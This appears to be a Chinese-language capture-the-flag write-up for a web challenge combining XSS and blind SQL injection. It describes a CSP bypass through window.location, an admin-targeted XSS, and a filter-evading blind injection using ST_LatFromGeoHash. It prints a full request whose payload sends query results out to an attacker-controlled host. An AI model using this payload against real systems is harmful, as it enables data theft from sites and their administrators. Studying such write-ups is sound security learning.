寫在前面
其實現在都不怎麼做題目了,只有月賽的時候看看,月賽每次web
題目也不多。
這個月月賽只有一道web
題,xss
和sql
注入的,沒有什麼新的知識點,沒做出來的時候覺得懵,做出來之後覺得怎麼搞了這麼久才搞出來?(每次都會這樣)
WriteUp
題目界面是這個樣子的。
hint
是這個樣子的。
大概意思是token
是你的id
一樣的東西,然後也告訴你管理員的id
,你可以給管理員發消息,因爲題目名字就是xssqli
,所以上來就試了xss
。它是有一些同源策略限制的,不能直接去<script src=>
的形式,上網查CSP
繞過,然後可以通過window.location
的形式去繞過。
那接下來想到的肯定就是傳輸cookie
出來,以管理員身份登錄了。
但是發現cookie
傳不出來,服務器應該是對cookie
做了http-only
限制,保護起來了。拿cookie
這條路肯定走不通了
在網上查了查,現在管理員可以執行我們的任意js
代碼,那可以讓他去請求一下index.php
,看它看到的是什麼樣子的(反正就是不知道怎麼辦,瞎試)。然後拿到index.php
的樣子:
<html>
<head>
<title>Secret message</title>
</head>
<body>
<script src="jquery.min.js"></script>
<div>
<p>
Your token: fafd3708-ce90-40bd-bc4a-852ed01e4853<br />
</p>
<p>
Any problem about this system, please contact the administrator.<br />
Admin token: fafd3708-ce90-40bd-bc4a-852ed01e4853<br />
</p>
</div>
<hr />
<div>
<form action="search.php" method="post">
<p>
Search messages: <input type="text" name="q" />
<input type="submit" value="Submit" />
</p>
</form>
<p>Received messages:</p>
<ol><li>Flag</li><li>is</li><li>not</li><li>here</li></ol></div>
<hr / >
<div>
<p>Send a message:</p>
<form action="index.php" method="post">
<p>To token: <input type="text" name="token" /></p>
<p>Message:</p>
<p><textarea name="msg">Message here.</textarea></p>
<p>substr(md5($work), 0 , 5) === "da39f"</p>
<p><input type="text" name="work" />
%2 0 <input type="submit" value="Submit" />
</form>
</div>
</body>
</html>
發現還有個search.php
,本地請求了一下發現需要管理員身份才行的。sql
注入應該就是和這個search.php
交互產生的。
那就通過xss
讓管理員和這個文件交互。
剛開始不管怎麼試search.php
的返回結果都是nothing for you
。很絕望,後來還試了一下在發消息時候msg
字段和token
字段是不是注入點來着(懷疑search.php
是個幌子),然後發現這兩個字段都被限制地很好。
無奈又開始試search.php
。突然發現有不同的輸出…(我也不知道我之前的測試是怎麼回事)。
這個文件的功能就是你輸入一個東西,他會給你返回一個id
。大概就是執行
select id from xxx where id='xx'
這樣子,如果你傳入的參數中包含被緊掉的函數的話,它就會將你輸入的參數原封不動返回。
如果你的語句執行正確,那就輸出search done
。錯誤就輸出runtime error
那麼很明顯了,就是一個盲注。
但是過濾掉了sleep() /exp() /benchmark
這幾個經常被用的函數。
最終用了ST_LatFromGeoHash(version())
,和上面三個函數用起來方法一樣,效果也一樣。
之後就burp intruder
➕一個簡單的腳本,得到最後的結果。
POST /index.php HTTP/1.1
Host: xxx:xxx
Content-Length: 576
Cache-Control: max-age=0
Origin: http://xxx:xxx
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://xxx:xxx/index.php
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9060d6d0a742478c529b506a1c190bbf; visitid=5caad8aff3e48; JSESSIONID.5bfff80a=node0157hoy44igpyjbxhtn1irh1xu21373.node0; session=81be6a6e-48c5-40d1-baf0-a9e4a10c4026
Connection: close
token=fafd3708-ce90-40bd-bc4a-852ed01e4853&msg=<script>var%20xmlhttp=new%20XMLHttpRequest();xmlhttp.onreadystatechange=state_Change;xmlhttp.open("POST","search.php", false);xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;");data="q=1'%20union%20select%20if((substr((select(flag)from(flag)),28,1))<>'§F§',(ST_LatFromGeoHash(version())),1)%23%26submit=Submit";xmlhttp.send(data);function%20state_Change(){if(xmlhttp.readyState==4){window.location="http://yyy/x.php?c=§F§"%2bencodeURIComponent(xmlhttp.responseText)%2b12345;}}</script>&work=2n4rf
做到後面才明白了第一個提示的意思:那個驗證碼校驗是隻在普通用戶進行的,管理員發消息是不需要驗證碼的。所以在做到後面也非常確定方法是對的。
(我敢肯定,之後我再看的時候就忘記這都是寫啥了)
做的過程中覺得這個題目出的挺好的,做完了感覺其實也很常規,hint
也挺好的。
動腦子想,去猜後臺的語句是怎麼寫的,可能會在哪裏出現問題。
開心。💰💰